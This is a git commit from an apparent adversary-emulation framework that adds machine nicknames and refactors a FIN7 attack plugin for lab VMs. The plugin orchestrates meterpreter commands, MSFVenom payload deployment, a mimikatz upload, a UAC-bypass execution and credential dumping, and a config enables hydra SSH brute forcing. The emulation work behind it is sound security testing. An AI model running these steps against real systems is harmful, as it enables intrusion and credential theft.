supporting nicknames for target machines. Those can be used to identify machines in complex attack simulations

pull/6/head
Thorsten Sick 3 years ago
parent 9186556d3c
commit d36cd2896d

@ -324,6 +324,11 @@ class Machine():
return self.config.vmname() return self.config.vmname()
def get_nicknames(self):
""" Returns the machine name """
return self.config.get_nicknames()
def get_playground(self): def get_playground(self):
""" Return this machine's playground """ """ Return this machine's playground """

@ -2,7 +2,7 @@
""" Base class for Kali plugins """ """ Base class for Kali plugins """
from plugins.base.plugin_base import BasePlugin from plugins.base.plugin_base import BasePlugin
from app.exceptions import PluginError from app.exceptions import PluginError, ConfigurationError
from app.calderacontrol import CalderaControl from app.calderacontrol import CalderaControl
# from app.metasploit import MSFVenom, Metasploit # from app.metasploit import MSFVenom, Metasploit
import os import os
@ -139,7 +139,7 @@ class AttackPlugin(BasePlugin):
def __execute__(self, targets): def __execute__(self, targets):
""" Execute the plugin. This is called by the code """ Execute the plugin. This is called by the code
@param targets: A list of targets, ip addresses will do @param targets: A list of targets => machines
""" """
self.targets = targets self.targets = targets
@ -164,3 +164,21 @@ class AttackPlugin(BasePlugin):
return self.references return self.references
raise NotImplementedError raise NotImplementedError
def get_target_by_name(self, name):
""" Returns a target machine out of the target pool by matching the name
If there is no matching name it will look into the "nicknames" list of the machine config
@param name: The name to match for
@returns: the machine
"""
for t in self.targets:
if t.get_name() == name:
return t
for t in self.targets:
if name in t.get_nicknames():
return t
raise ConfigurationError(f"No matching machine in experiment config for {name}")

@ -64,39 +64,41 @@ class FIN7Plugin(AttackPlugin):
# TODO: Make sure logging is nice and complete # TODO: Make sure logging is nice and complete
hotelmanager = self.get_target_by_name("hotelmanager")
# WMI queries https://attack.mitre.org/techniques/T1057/ # WMI queries https://attack.mitre.org/techniques/T1057/
# Execute net view from spawned cmd https://attack.mitre.org/techniques/T1135/ # Execute net view from spawned cmd https://attack.mitre.org/techniques/T1135/
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}new view {CommandlineColors.ENDC}", 1) self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}new view {CommandlineColors.ENDC}", 1)
self.caldera_attack(self.targets[0], "deeac480-5c2a-42b5-90bb-41675ee53c7e", parameters={"remote.host.fqdn": self.targets[0].get_ip()}) self.caldera_attack(hotelmanager, "deeac480-5c2a-42b5-90bb-41675ee53c7e", parameters={"remote.host.fqdn": hotelmanager.get_ip()})
# check for sandbox https://attack.mitre.org/techniques/T1497/ # check for sandbox https://attack.mitre.org/techniques/T1497/
# The documentation does not define how it is checking exactly. # The documentation does not define how it is checking exactly.
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}get-wmiobject win32_computersystem | fl model{CommandlineColors.ENDC}", 1) self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}get-wmiobject win32_computersystem | fl model{CommandlineColors.ENDC}", 1)
self.caldera_attack(self.targets[0], "5dc841fd-28ad-40e2-b10e-fb007fe09e81") self.caldera_attack(hotelmanager, "5dc841fd-28ad-40e2-b10e-fb007fe09e81")
# query username https://attack.mitre.org/techniques/T1033/ # query username https://attack.mitre.org/techniques/T1033/
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query USERNAME env{CommandlineColors.ENDC}", 1) self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query USERNAME env{CommandlineColors.ENDC}", 1)
self.caldera_attack(self.targets[0], "c0da588f-79f0-4263-8998-7496b1a40596") self.caldera_attack(hotelmanager, "c0da588f-79f0-4263-8998-7496b1a40596")
# TODO: query computername https://attack.mitre.org/techniques/T1082/ # TODO: query computername https://attack.mitre.org/techniques/T1082/
# self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query COMPUTERNAME env{CommandlineColors.ENDC}", 1) # self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query COMPUTERNAME env{CommandlineColors.ENDC}", 1)
# self.caldera_attack(self.targets[0], "c0da588f-79f0-4263-8998-7496b1a40596") # self.caldera_attack(hotelmanager, "c0da588f-79f0-4263-8998-7496b1a40596")
# TODO: load adsldp.dll and call dllGetClassObject() for the Windows Script Host ADSystemInfo Object COM object https://attack.mitre.org/techniques/T1082/ # TODO: load adsldp.dll and call dllGetClassObject() for the Windows Script Host ADSystemInfo Object COM object https://attack.mitre.org/techniques/T1082/
# WMI query for System Network Configuration discovery https://attack.mitre.org/techniques/T1016/ # WMI query for System Network Configuration discovery https://attack.mitre.org/techniques/T1016/
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Network configuration discovery. Original is some WMI, here we are using nbstat{CommandlineColors.ENDC}", 1) self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Network configuration discovery. Original is some WMI, here we are using nbstat{CommandlineColors.ENDC}", 1)
self.caldera_attack(self.targets[0], "14a21534-350f-4d83-9dd7-3c56b93a0c17") self.caldera_attack(hotelmanager, "14a21534-350f-4d83-9dd7-3c56b93a0c17")
# System Info discovery https://attack.mitre.org/techniques/T1082/ # System Info discovery https://attack.mitre.org/techniques/T1082/
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}System info discovery, as close as it gets{CommandlineColors.ENDC}", f"{CommandlineColors.OKCYAN}System info discovery, as close as it gets{CommandlineColors.ENDC}",
1) 1)
self.caldera_attack(self.targets[0], "b6b105b9-41dc-490b-bc5c-80d699b82ce8") self.caldera_attack(hotelmanager, "b6b105b9-41dc-490b-bc5c-80d699b82ce8")
# CMD.exe->powershell.exe, start takeScreenshot.ps1 https://attack.mitre.org/techniques/T1113/ # CMD.exe->powershell.exe, start takeScreenshot.ps1 https://attack.mitre.org/techniques/T1113/
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Take screenshot{CommandlineColors.ENDC}", f"{CommandlineColors.OKCYAN}Take screenshot{CommandlineColors.ENDC}",
1) 1)
self.caldera_attack(self.targets[0], "316251ed-6a28-4013-812b-ddf5b5b007f8") self.caldera_attack(hotelmanager, "316251ed-6a28-4013-812b-ddf5b5b007f8")
# TODO: Upload that via MSSQL transaction https://attack.mitre.org/techniques/T1041/ # TODO: Upload that via MSSQL transaction https://attack.mitre.org/techniques/T1041/
self.attack_logger.vprint( self.attack_logger.vprint(
@ -116,6 +118,7 @@ class FIN7Plugin(AttackPlugin):
# Uploaded stager creates meterpreter shell (babymetal) # Uploaded stager creates meterpreter shell (babymetal)
# Generate payload: # Generate payload:
hotelmanager = self.get_target_by_name("hotelmanager")
payload_name = "babymetal.exe" payload_name = "babymetal.exe"
# TODO: Babymetal payload is a dll. Currently we are using a simplification here (exe). Implement the proper steps. For the proper steps see: # TODO: Babymetal payload is a dll. Currently we are using a simplification here (exe). Implement the proper steps. For the proper steps see:
@ -125,7 +128,7 @@ class FIN7Plugin(AttackPlugin):
# -f C : output is c code # -f C : output is c code
# --encrypt xor : xor encrypt the results # --encrypt xor : xor encrypt the results
# --encrypt-key m : the encryption key # --encrypt-key m : the encryption key
venom = MSFVenom(self.attacker_machine_plugin, self.targets[0], self.attack_logger) venom = MSFVenom(self.attacker_machine_plugin, hotelmanager, self.attack_logger)
venom.generate_and_deploy(payload=self.payload_type_1, venom.generate_and_deploy(payload=self.payload_type_1,
architecture="x64", architecture="x64",
platform="windows", platform="windows",
@ -153,7 +156,7 @@ class FIN7Plugin(AttackPlugin):
# metasploit1 = self.get_metasploit_1() # metasploit1 = self.get_metasploit_1()
# print("Got session, calling command") # print("Got session, calling command")
# print(metasploit.meterpreter_execute_on(["getuid"], self.targets[0])) # print(metasploit.meterpreter_execute_on(["getuid"], hotelmanager))
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKGREEN}End Step 4: Staging Interactive Toolkit{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKGREEN}End Step 4: Staging Interactive Toolkit{CommandlineColors.ENDC}", 1)
@ -162,53 +165,62 @@ class FIN7Plugin(AttackPlugin):
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 5 (target hotelmanager): Escalate Privileges{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKBLUE}Step 5 (target hotelmanager): Escalate Privileges{CommandlineColors.ENDC}", 1)
hotelmanager = self.get_target_by_name("hotelmanager")
# This is meterpreter ! # This is meterpreter !
metasploit = self.get_metasploit_1() metasploit = self.get_metasploit_1()
# powershell -> CreateToolHelp32Snapshot() for process discovery (Caldera alternative ?) https://attack.mitre.org/techniques/T1057/ # powershell -> CreateToolHelp32Snapshot() for process discovery (Caldera alternative ?) https://attack.mitre.org/techniques/T1057/
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute ps -ax through meterpreter{CommandlineColors.ENDC}", 1) self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute ps -ax through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on(["ps -ax"], self.targets[0])) print(metasploit.meterpreter_execute_on(["ps -ax"], hotelmanager))
# powershell: GetIpNetTable() does ARP entries https://attack.mitre.org/techniques/T1016/ # powershell: GetIpNetTable() does ARP entries https://attack.mitre.org/techniques/T1016/
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute arp through meterpreter{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKCYAN}Execute arp through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on(["arp"], self.targets[0])) print(metasploit.meterpreter_execute_on(["arp"], hotelmanager))
# powershell: nslookup to query domain controler(hoteldc) for ip from ARP (Caldera ?) https://attack.mitre.org/techniques/T1018/ # powershell: nslookup to query domain controler(hoteldc) for ip from ARP (Caldera ?) https://attack.mitre.org/techniques/T1018/
# TODO: Add real <itadmin> ip # TODO: Add real <itadmin> ip. Re-activate. This command caused trouble afterwards (uploading mimikatz). Maybe it is because of an error
itadmin = "127.0.0.1" # itadmin = "127.0.0.1"
self.attack_logger.vprint( # self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1) # f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on([f"execute -f nslookup.exe -H -i -a '{itadmin}'"], self.targets[0])) # print(metasploit.meterpreter_execute_on([f"execute -f nslookup.exe -H -i -a '{itadmin}'"], hotelmanager))
# Copy step 5 attack tools to attacker # Copy step 5 attack tools to attacker
# powershell download from C2 server: samcat.exe (mimikatz) https://attack.mitre.org/techniques/T1507/ use_mimikatz = True # TODO: Read this from config
# tplayground = self.targets[0].get_playground() if use_mimikatz:
# aplayground = self.attacker_machine_plugin.get_playground() or "" # powershell download from C2 server: samcat.exe (mimikatz) https://attack.mitre.org/techniques/T1507/
self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "samcat.exe"), "samcat.exe") # tplayground = hotelmanager.get_playground()
self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "uac-samcats.ps1"), "uac-samcats.ps1") # aplayground = self.attacker_machine_plugin.get_playground() or ""
cmd = "upload samcat.exe 'samcat.exe' " self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "samcat.exe"), "samcat.exe")
print(cmd) self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "uac-samcats.ps1"), "uac-samcats.ps1")
self.attack_logger.vprint( print(metasploit.meterpreter_execute_on(["ls"], hotelmanager, delay=10))
f"{CommandlineColors.OKCYAN}Uploading mimikatz through meterpreter{CommandlineColors.ENDC}", 1) cmd = "upload samcat.exe 'samcat.exe' "
print(metasploit.meterpreter_execute_on([cmd], self.targets[0], delay=2)) # cmd = "upload boring_test_file.txt 'samcat.exe' "
print(cmd)
cmd = "upload uac-samcats.ps1 'uac-samcats.ps1' " self.attack_logger.vprint(
print(cmd) f"{CommandlineColors.OKCYAN}Uploading mimikatz through meterpreter{CommandlineColors.ENDC}", 1)
self.attack_logger.vprint( print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10))
f"{CommandlineColors.OKCYAN}Uploading UAC bypass script through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on([cmd], self.targets[0], delay=2)) cmd = "upload uac-samcats.ps1 'uac-samcats.ps1' "
# cmd = "upload boring_test_file.txt 'samcat.exe' "
# execute uac-samcats.ps1 This: spawns a powershell from powershell -> samcat.exe as high integrity process https://attack.mitre.org/techniques/T1548/002/ print(cmd)
execute_samcats = "execute -f powershell.exe -H -i -a '-c ./uac-samcats.ps1'" self.attack_logger.vprint(
print(execute_samcats) f"{CommandlineColors.OKCYAN}Uploading UAC bypass script through meterpreter{CommandlineColors.ENDC}", 1)
self.attack_logger.vprint( print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10))
f"{CommandlineColors.OKCYAN}Execute UAC bypass (and mimikatz) through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on([execute_samcats], self.targets[0], delay=20)) # execute uac-samcats.ps1 This: spawns a powershell from powershell -> samcat.exe as high integrity process https://attack.mitre.org/techniques/T1548/002/
# TODO: Make it more reliable. Also test which OS versions are working properly. It worked at least once execute_samcats = "execute -f powershell.exe -H -i -a '-c ./uac-samcats.ps1'"
print(execute_samcats)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute UAC bypass (and mimikatz) through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on([execute_samcats], hotelmanager, delay=20))
# TODO: Make it more reliable. Also test which OS versions are working properly. It worked at least once
# samcat.exe: reads local credentials https://attack.mitre.org/techniques/T1003/001/ # samcat.exe: reads local credentials https://attack.mitre.org/techniques/T1003/001/
print("Verify we are still connected")
print(metasploit.meterpreter_execute_on(["ps -ax"], hotelmanager))
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKGREEN}End Step 5: Escalate Privileges{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKGREEN}End Step 5: Escalate Privileges{CommandlineColors.ENDC}", 1)
@ -221,7 +233,7 @@ class FIN7Plugin(AttackPlugin):
# powershell download: paexec.exe and hollow.exe https://attack.mitre.org/techniques/T1105/ # powershell download: paexec.exe and hollow.exe https://attack.mitre.org/techniques/T1105/
# spawn powershell through cmd # spawn powershell through cmd
# !!! admin host!!! use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/ # !!! admin host!!! use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/
# paexec starts temorary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/ # paexec starts temporary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/
# => Lateral move to itadmin # => Lateral move to itadmin
# hollow.exe spawns svchost and unmaps memory image https://attack.mitre.org/techniques/T1055/012/ # hollow.exe spawns svchost and unmaps memory image https://attack.mitre.org/techniques/T1055/012/
# svchost starts data exchange # svchost starts data exchange
@ -300,7 +312,7 @@ class FIN7Plugin(AttackPlugin):
self.step1() self.step1()
self.step2() self.step2()
# self.step3() # Done and works self.step3() # Done and works
self.step4() self.step4()
self.step5() self.step5()
self.step6() self.step6()

@ -56,6 +56,10 @@ targets:
active: yes active: yes
vm_name: target2 vm_name: target2
nicknames:
- hotelmanager
os: windows os: windows
paw: target2w paw: target2w
group: red_windows group: red_windows

@ -27,6 +27,11 @@ attackers:
# Name of machine in Vagrantfile # Name of machine in Vagrantfile
vm_name: attacker vm_name: attacker
###
# Machine can have nicknames. They can be used in complex attacks to reference the machine
nicknames:
- "suspect 1"
### ###
# machinepath is a path where the machine specific files and logs are stored. Relative to the Vagrantfile path # machinepath is a path where the machine specific files and logs are stored. Relative to the Vagrantfile path
# and will be mounted internally as /vagrant/<name> # and will be mounted internally as /vagrant/<name>
@ -56,6 +61,12 @@ targets:
active: no active: no
vm_name: target1 vm_name: target1
###
# Machine can have nicknames. They can be used in complex attacks to reference the machine
nicknames:
- "web server"
os: linux os: linux
### ###
# Targets need a unique PAW name for caldera # Targets need a unique PAW name for caldera
@ -87,6 +98,13 @@ targets:
active: no active: no
vm_name: target2 vm_name: target2
###
# Machine can have nicknames. They can be used in complex attacks to reference the machine
nicknames:
- "t2"
- "practice target"
os: windows os: windows
paw: target2w paw: target2w
@ -144,6 +162,13 @@ targets:
active: yes active: yes
vm_name: target3 vm_name: target3
###
# Machine can have nicknames. They can be used in complex attacks to reference the machine
nicknames:
- "red shirt"
- "the flag"
os: linux os: linux
### ###
# Targets need a unique PAW name for caldera # Targets need a unique PAW name for caldera

@ -0,0 +1,174 @@
###
# Caldera configuration
caldera:
###
# API key for caldera. See caldera configuration. Default is ADMIN123
apikey: ADMIN123
###
# Attacks configuration
attackers:
###
# Configuration for the first attacker. One should normally be enough
attacker:
###
# Defining VM controller settings for this machine
vm_controller:
###
# Type of the VM controller, Options are "vagrant"
type: vagrant
###
# # path where the vagrantfile is in
vagrantfilepath: systems
# Empty for a reason. It is being tested
nicknames:
###
# Name of machine in Vagrantfile
vm_name: attacker
###
# machinepath is a path where the machine specific files and logs are stored. Relative to the Vagrantfile path
# and will be mounted internally as /vagrant/<name>
# If machinepoath is not set AttackX will try "vm_name"
machinepath: attacker1
###
# OS of the VM guest. Options are so far "windows", "linux"
os: linux
###
# Do not destroy/create the machine: Set this to "yes".
use_existing_machine: yes
###
# List of targets
targets:
###
# Specific target
target1:
vm_controller:
type: vagrant
vagrantfilepath: systems
vm_name: target1
# Used for tests
nicknames:
- 1
- 2
- 3
os: linux
###
# Targets need a unique PAW name for caldera
paw: target1
###
# Targets need to be in a group for caldera
group: red
machinepath: target1
# Do not destroy/create the machine: Set this to "yes".
use_existing_machine: yes
target2:
#root: systems/target1
vm_controller:
type: vagrant
vagrantfilepath: systems
vm_name: target2
os: windows
paw: target2w
group: red
machinepath: target2w
# Do not destroy/create the machine: Set this to "yes".
use_existing_machine: yes
###
# Optional setting to activate force when halting the machine. Windows guests sometime get stuck
halt_needs_force: yes
###
# If SSH without vagrant support is used (Windows !) we need a user name (uppercase)
ssh_user: ATTACKX
###
# For non-vagrant ssh connections a ssh keyfile stored in the machinepath is required.
ssh_keyfile: id_rsa.3
###
# General attack config
attacks:
###
# configure the seconds the system idles between the attacks. Makes it slower. But attack and defense logs will be simpler to match
nap_time: 5
###
# A list of caldera attacks to run against the targets.
caldera_attacks:
###
# Linux specific attacks. A list of caldera ability IDs
linux:
- "bd527b63-9f9e-46e0-9816-b8434d2b8989"
###
# Windows specific attacks. A list of caldera ability IDs
windows:
- "bd527b63-9f9e-46e0-9816-b8434d2b8989"
###
# Kali tool based attacks. Will result in kali commandline tools to be called. Currently supported are: "hydra"
kali_attacks:
###
# Linux specific attacks, a list
linux:
- hydra
###
# Windows specific attacks, a list
windows:
- hydra
###
# Configuration for the kali attack tools
kali_conf:
###
# Hydra configuration
hydra:
###
# A list of protocols to brute force against. Supported: "ssh"
protocols:
- ssh
#- ftp
#- ftps
###
# A file containing potential user names
userfile: users.txt
###
# A file containing potential passwords
pwdfile: passwords.txt
###
# Settings for the results being harvested
results:
###
# The directory the loot will be in
loot_dir: loot
###
# General sensor config config
sensors:
###
# Windows sensor plugin configuration
windows_sensor:
###
# Name of the dll to use. Must match AV version
# dll_name: aswidptestdll.dll
dll_name: windows_sensor.dll
###
# Folder where the sensor tool is located
sensor_tool_folder: windows_sensor

@ -546,6 +546,21 @@ class TestExperimentConfig(unittest.TestCase):
self.assertEqual(ex.attackers()[0].vmname(), "attacker") self.assertEqual(ex.attackers()[0].vmname(), "attacker")
self.assertEqual(ex.attacker(0).vmname(), "attacker") self.assertEqual(ex.attacker(0).vmname(), "attacker")
def test_nicknames_missing(self):
""" Test when the machine nicknames are non existing """
ex = ExperimentConfig("tests/data/basic.yaml")
self.assertEqual(ex._attackers[0].get_nicknames(), [])
def test_nicknames_present_but_empty(self):
""" Test when the machine nicknames are empty """
ex = ExperimentConfig("tests/data/attacker_has_empty_nicknames.yaml")
self.assertEqual(ex._attackers[0].get_nicknames(), [])
def test_nicknames_present(self):
""" Test when the machine nicknames are there """
ex = ExperimentConfig("tests/data/attacker_has_empty_nicknames.yaml")
self.assertEqual(ex._targets[0].get_nicknames(), [1, 2, 3])
def test_missing_kali_config(self): def test_missing_kali_config(self):
""" Getting kali config for a specific attack. Attack missing """ """ Getting kali config for a specific attack. Attack missing """

Loading…
Cancel
Save